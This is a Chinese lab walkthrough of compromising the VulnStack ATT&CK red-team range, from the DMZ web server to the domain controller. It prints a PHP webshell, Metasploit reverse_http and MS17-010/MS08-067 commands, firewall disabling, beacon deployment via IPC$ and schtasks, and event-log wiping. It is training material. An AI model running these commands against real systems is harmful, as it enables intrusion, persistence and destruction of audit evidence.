VulnStack - ATT&CK红队评估实战(一) Writeup
VulnStack - ATT&CK红队评估实战(一) Writeup
VulnStack(一)环境搭建
- 项目地址
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
- 网络拓扑
环境说明
下载回来有三个虚拟机(虚拟机所有统一密码:hongrisec@2019):
- VM1: vulnstack-win7
- VM2: vulnstack-Win2K3 Metasploitable
- VM3: vulnstack-winserver08
物理机 192.168.111.1
kali 192.168.111.129
WP、漏洞讲解
官方WP:https://www.zrools.org/2020/03/09/VulnStack-ATT-CK红队评估实战-一-Writeup/
优秀WP:https://blog.csdn.net/weixin_54902210/article/details/124329382
最初的已知条件
已知一个目标IP为192.168.111.128
拿下DMZ-Windows7(192.168.111.128)
1、端口扫描 & Web目录扫描
nmap 192.168.111.128
nmap -A -T4 192.168.111.128
御剑1.5
dirb http://192.168.111.128
dirsearch -u "http://192.168.111.128/" -e *
python dirmap.py -i http://192.168.111.128/ -lcf
dirmap =>
[200][application/x-rar-compressed][3.00mb] http://192.168.111.128/beifen.rar
[200][text/html][70.42kb] http://192.168.111.128/phpinfo.php
[200][text/html; charset=utf-8][4.28kb] http://192.168.111.128/phpMyadmin/
[200][text/html; charset=utf-8][4.28kb] http://192.168.111.128/phpMyAdmin/
[200][text/html; charset=utf-8][4.28kb] http://192.168.111.128/phpmyadmin/
[200][text/html; charset=utf-8][4.28kb] http://192.168.111.128/phpmyAdmin/
[200][text/html; charset=utf-8][14.39kb] http://192.168.111.128//l.php
2、phpMyAdmin GetShell【法一】
拓展思路:phpmyadmin写shell的几种方法
http://192.168.111.128/phpMyAdmin/
set global general_log='on';
SET global general_log_file='C:/phpStudy/WWW/shell.php'
select '<?php @eval($_POST['pwd']);?>';
3、CMS后台GetShell【法二】
接着再看一下beifen.rar
这个文件,下载解压后是个yxcms
文件夹,访问yxcms
目录正是站点,直奔后台:
http://192.168.54.3/yxcms/index.php?r=admin/index/login
尝试admin/123456
弱口令登录成功,然后在模板文件管理直接写Shell就可以了(在[全局设置->前台模板]中有很多php文件,随便找一个写入一句话木马):[index_index.php => index.php]
参考文章:https://www.cnblogs.com/yujin2020/p/14310839.html
4、通过蚁剑实现Windows远程连接
不做也ok
远程开启3389
1、查看3389开放情况 netstat -ano
2、开启3389端口(服务)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3、添加管理员组用户 或者 使用管理员账户
①添加管理员组用户
net user xxx Admin@123/add
net localgroup Administrators xxx /add
或者
②使用管理员账户
修改密码
net user administrator Admin@123
激活用户
net user administrator /active:yes
其他操作:
rundll32.exe user32.dll,LockWorkStation 锁屏
query user 查询登录
logoff ID 下载
5、CS上线
cs开启服务端、客户端、设置监听器、制作Windows木马,通过蚁剑上传木马,蚁剑运行木马,cs成功上线
右键会话 -> sheep 1
DMZ-Windows7内网信息收集
1、Ladon911 一键信息收集
蚁剑上传Laon.exe
shell Ladon.exe 192.168.111.128 PortScan
shell Ladon.exe 192.168.52.0/24 PortScan
cs探测192.168.111.128
cs探测192.168.52.0/24
内网主机有445端口,且为Windows主机 => 可以尝试永恒之蓝漏洞是否可以利用
shell Ladon.exe 192.168.111.128 OsScan
shell Ladon.exe 192.168.52.0/24 OsScan
192.168.52.141是台Win2003
,开了445
端口,尝试拿MS08-067
打。
2、CS信息收集
shell whoami
shell ipconfig /all
shell route print
shell arp -a
shell ping 192.168.52.141
内网信息收集获取关键信息:
查询操作系统和版本信息 systeminfo
机器名 hostname
当前用户 whoami
本地管理员 STU1/administrator
GOD/administrator
查看用户 net user
查看共享信息 net share
3、CS派生MSF生成SHELL控制内网(msf与CS联动)
1、msf创建监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.111.129
set lport 9999
exploit
2、在CS上添加监听器
3、传递会话
右键目标 => 增加会话 => 选择msf监听器
4、搭建隧道进内网(192.168.52.0/24)
实现:cs开隧道,msf链接隧道进内网
cs右键目标 => 中转 => SOCKS Server(设置端口)
cs最上面视图 => 代理信息(可看到cs开放代理情况) => 下边点击Tunnel => 复制msf代理情况 => 粘贴到msf进行执行
内网渗透(192.168.52.141)
前提:cs开隧道,msf链接隧道进内网
1、由445端口尝试永恒之蓝
探测是否存在漏洞(一遍运行不成功就运行第二遍 => 可能存在防火墙的原因)
前面扫描端口开着445
,验证有MS17-010
漏洞,尝试拿exploit/windows/smb/ms17_010_eternalblue
和windows/x64/meterpreter/bind_tcp
直接打192.168.52.141
,很耗时,而且session很大概率直接就died
了。拿exploit/windows/smb/ms17_010_psexec
出现了Exploit completed, but no session was created.
,没有session。
2、使用ms17_010_command拿下内网主机【法一】
尝试ms17_010_command关闭系统防火墙
msf6 exploit(windows/smb/ms17_010_psexec) > use auxiliary/admin/smb/ms17_010_command
msf6 auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.52.141
msf6 auxiliary(admin/smb/ms17_010_command) > set command "netsh advfirewall set allprofiles state off"
msf6 auxiliary(admin/smb/ms17_010_command) > exploit
使用ms17_010_command拿下域内主机192.168.52.141
msf6 exploit(windows/smb/ms17_010_psexec) > use auxiliary/admin/smb/ms17_010_command
msf6 auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.52.141
msf6 auxiliary(admin/smb/ms17_010_command) > set command "ipconfig /all"
msf6 auxiliary(admin/smb/ms17_010_command) > exploit
3、MS08-067搭配Bind TCP拿下内网主机【法二】
首先添加路由,使用Web服务器作为跳板访问Win2003
:
meterpreter > run autoroute -s 192.168.52.0/24
meterpreter > run autoroute -p
Bind TCP
接着MS08-067
搭配Bind TCP
使用:
meterpreter > background
msf6 exploit(multi/handler) > use exploit/windows/smb/ms08_067_netapi
msf6 exploit(windows/smb/ms08_067_netapi) > set rhost 192.168.52.141
msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
正常来说应该是可以滴,估计是环境问题罢了。
内网横向移动(拿下域控192.168.52.138)
域内信息收集
当前用户必须是域用户,而不是本地用户(除过本地的system用户)
1、 whoami 查询当前用户
2、 net user /domain 查询域内又几个用户(只能是域用户才有权限查询)
3、 net group "domain computers" /domain 查询域中的计算机名字
4、 net group "Domain Controllers" /domain 查询域控的名字
5、 nslookup -type=SRV _ldap._tcp 查询域控
1、抓取域内主机用户密码
2、域内主机通过ipc连接上域控
shell net use \\192.168.52.138\ipc$ "hongrisec@2019" /user:god\administrator
3、上传隧道马(s)
①先手动上传木马到拿下的dmz区域的域内主机
②使用ipc,将域内主机的木马文件复制进域控上
shell copy beacon.exe \\192.168.52.138\c$
4、通过计划任务运行木马【法一】
优点:直接忽略防火墙
shell schtasks /create /s 192.168.52.138 /tn test /sc onstart /tr c:\beacon.exe /ru system /f
shell schtasks /run /s 192.168.52.138 /i /tn "test"
link 192.168.56.138
成功拿下域控
5、利用哈希传递(PTH)一键上线不出网机器【法二】
优点:直接忽略防火墙
cs左上角点击Cobalt Strike => 可视化 => 目标列表 => 选择要上线设备(192.168.52.135) => 点击Jump => 选择psexec64 => 其余设置结果如下:
参考文章:https://www.cnblogs.com/sunny11/p/14301425.html
6、利于MS17-010拿下域控【法三】
前面扫描端口开着445
,验证有MS17-010
漏洞,尝试拿exploit/windows/smb/ms17_010_eternalblue
和windows/x64/meterpreter/bind_tcp
直接打192.168.72.102
,很耗时,而且session很大概率直接就died
了。拿exploit/windows/smb/ms17_010_psexec
出现了Exploit completed, but no session was created.
,没有session。
- 系统防火墙
估计是被防火墙干掉了,尝试用ms17_010_command
先关掉它:
msf6 exploit(windows/smb/ms17_010_psexec) > use auxiliary/admin/smb/ms17_010_command
msf6 auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.52.138
msf6 auxiliary(admin/smb/ms17_010_command) > set command "netsh advfirewall set allprofiles state off"
msf6 auxiliary(admin/smb/ms17_010_command) > exploit
- MS17-010 和 Bind TCP
接着再拿ms17_010_psexec
和bind_tcp
打一次:
msf6 exploit(windows/smb/ms17_010_psexec) > use exploit/windows/smb/ms17_010_psexec
msf6 exploit(windows/smb/ms17_010_psexec) > set rhosts 192.168.52.138
msf6 exploit(windows/smb/ms17_010_psexec) > set payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > exploit
成功反弹获取session,拿下域控!
清理痕迹
- 删除添加的域管理账号(这里没有添加);
- 删除服务器上渗透上传的工具;
- 删除应用程序、系统和安全日志;
meterpreter > clearev
[*] Wiping 1474 records from Application...
[*] Wiping 4836 records from System...
[*] Wiping 41363 records from Security...
- 断开MSF等连接;
- 其他。
总结
这次的靶机环境比较简单,只是用MSF配合一些小工具使用,归纳下前面的漏洞利用:
- phpMyAdmin弱口令配合探针信息(WWW绝对路径)日志写Shell;
- CMS后台弱口令配合后台模板管理写Shell;
- 备份文件文件泄漏数据库配置和CMS源码等信息;
- 内网主机未打补丁,可以直接远程获取系统权限(MS08-067、MS17-010)。
主机上还有些其他的服务,比如FTP
、Weblogic
和LDAP
等可能存在漏洞,信息收集可以看看浏览器有没有保存密码什么的,mimikatz
抓不到明文看看是不是64位机子加载到32位版本了,payload
打过去异常可以换一个试试或者看看是不是防火墙的影响什么的,总之,没有一成不变的办法,遇到问题还要多分析。
靶场描述
基本信息
作 者: hongri
创建时间: 2019年10月20日 14:05
标 签: 内网渗透 | Kill Chain | 域渗透 | 威胁情报
描述
红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,目前给出作者实战的一套攻击实战路线如下,虚拟机所有统一密码:hongrisec@2019:
一、环境搭建
1.环境搭建测试
2.信息收集
二、漏洞利用
3.漏洞搜索与利用
4.后台Getshell上传技巧
5.系统信息收集
6.主机密码收集
三、内网搜集
7.内网--继续信息收集
8.内网攻击姿势--信息泄露
9.内网攻击姿势-MS08-067
10.内网攻击姿势-SMB远程桌面口令猜测
11.内网攻击姿势-Oracle数据库TNS服务漏洞
12.内网攻击姿势-RPC DCOM服务漏洞
四、横向移动
13.内网其它主机端口-文件读取
14.内网其它主机端口-redis
15.内网其它主机端口-redis Getshell
16.内网其它主机端口-MySQL数据库
17.内网其它主机端口-MySQL提权
五、构建通道
18.内网其它主机端口-代理转发
六、持久控制
19.域渗透-域成员信息收集
20.域渗透-基础服务弱口令探测及深度利用之powershell
21.域渗透-横向移动[wmi利用]
22.域渗透-C2命令执行
23.域渗透-利用DomainFronting实现对beacon的深度隐藏
24.域渗透-域控实现与利用
七、痕迹清理
25、日志清理
文件
ATT&CK红队评估实战靶场
文件大小: 13 GB
文件MD5: e16fd0f6a5104aef0dfa73460afff0e8
文件SHA1: 078ce02d01298fe40a1feb8260fde79d5fb06bc6
下载地址:
VulnStack - ATT&CK红队评估实战(一) Writeup的更多相关文章
- ATT&CK红队评估实战靶场(一)
靶机下载地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 攻击拓扑如下 0x01环境搭建 配置两卡,仅主机模式192.168.52.0网段模拟内 ...
- ATK&CK红队评估实战靶场 (一)的搭建和模拟攻击过程全过程
介绍及环境搭建 靶机地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2 官方靶机说明: 红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练 ...
- 靶机练习 - ATT&CK红队实战靶场 - 1. 环境搭建和漏洞利用
最近某个公众号介绍了网上的一套环境,这个环境是多个Windows靶机组成的,涉及到内网渗透,正好Windows和内网渗透一直没怎么接触过,所以拿来学习下. 下载地址:http://vulnstack. ...
- vulstack红队评估(五)
一.环境搭建: ①根据作者公开的靶机信息整理 虚拟机密码: Win7: heart 123.com #本地管理员用户 sun\Administrator dc123.com #域管用户,改 ...
- vulstack红队评估(四)
一.环境搭建: ①根据作者公开的靶机信息整理 虚拟机密码: ubuntu: ubuntu:ubuntu win7: douser:Dotest123 Win2008 DC: administr ...
- vulstack红队评估(三)
一.环境搭建: ①根据作者公开的靶机信息整理 没有虚拟机密码,纯黑盒测试...一共是5台机器,目标是拿下域控获取flag文件 ②虚拟机网卡设置 centos双网卡模拟内外网: 外网:192.168 ...
- vulstack红队评估(二)
一.环境搭建: 1.根据作者公开的靶机信息整理: 靶场统一登录密码:1qaz@WSX 2.网络环境配置: ①Win2008双网卡模拟内外网: 外网:192.168.1.80,桥接模式与物理机相 ...
- vulstack红队评估(一)
一.环境搭建: 1.根据作者公开的靶机信息整理: 虚拟机初始所有统一密码:hongrisec@2019 因为登陆前要修改密码,改为了panda666... 2.虚拟网卡网络配置: ①Win7双 ...
- ATT&CK实战系列 红队实战(一)————环境搭建
首先感谢红日安全团队分享的靶机实战环境.红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习.视频教程.博客三位一体学习. 靶机下载地址:http://vulnstack.qiyuanxue ...
- ATT&CK 实战 - 红日安全 vulnstack (一) 环境部署
靶场描述: 红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习.视频教程.博客三位一体学习.另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环.后续也会搭建真实APT实 ...
随机推荐
- ABP - 缓存模块(1)
1. 与 .NET Core 缓存的关系和差异 ABP 框架中的缓存系统核心包是 Volo.Abp.Caching ,而对于分布式缓存的支持,abp 官方提供了基于 Redis 的方案,需要安装 Vo ...
- 揭秘 Task.Wait
目录 简介 背后的实现 Task.Wait 的两个阶段 SpinWait 阶段 BlockingWait 阶段 Task.Wait 可能会导致的问题 可能会导致线程池饥饿 可能会导致死锁 .NET 6 ...
- ubuntu22.04下编译ffmpeg-6.0,并且激活x264编码功能。记录一下踩坑(ERROR: x264 not found using pkg-config)
一.编译x264(在编译前确保安装了pkg-config,默认在/usr/share下) 1.下载x264源代码:(我下载到了~/Downloads下,各位随意就好) git clone https: ...
- 如何在 Windows10 Professional 服务器上搭建自己的 Git 服务器。
一.简介 以前,在别家的公司,一般早就把源代码管理工具搭建好了,很少有机会自己搭建一套.最近,公司也许要把现在不少的源码进行管理,于是我打算自己搭建源代码管理服务器.说起源代码管理,当然有很多中解决方 ...
- [Spring+SpringMVC+Mybatis]框架学习笔记(九):Mybatis主配置文件和映射文件
第9章 Mybatis主配置文件和映射文件 9.1 用Mybatis进行开发的两种方式 在正式的开发环境中用Mybatis进行开发有两种方式: 1)原始的接口和实现类的方式 缺点: 重复代码太多,sq ...
- 国产化之x64平台安装银河麒麟操作系统
背景 某个项目需要实现基础软件全部国产化,其中操作系统指定银河麒麟v4,CPU使用飞腾处理器.飞腾处理器是ARMv8架构的,在之前的文章中介绍了使用QEMU模拟ARMv8架构安装银河麒麟操作系统的方式 ...
- YUM histoy 与 RPM -qa --last
查看Linux yum安装包的安装时间,可以使用以下命令: rpm -qa --last 该命令将显示已安装的所有rpm包及其安装日期和时间. 可以使用管道符 '|' 和 grep 命令来查找特定的包 ...
- Linux 性能监控与分析相关的软件包
检测系统进程和资源使用情况 -- procps-ng procps-ng是一个用于检测Linux系统进程和资源使用情况的系统工具,它是procps的一个重写版本.它提供了多种用于检测Linux系统中进 ...
- 安装.NET Framework4.5以上版本受阻怎么办?
安装和卸载 .NET Framework 受阻疑难解答 - .NET Framework | Microsoft Learn Windows RT 8.1.Windows 8.1 和 Windows ...
- GoRedisLock:Golang保障数据一致性的分布式锁解决方案
在现代分布式系统中,多个节点之间共享资源是常见的需求.然而,并发访问共享资源可能导致数据不一致性和竞争条件.为了解决这些问题,我们需要引入分布式锁.GoRedisLock是一个出色的分布式锁库,它结合 ...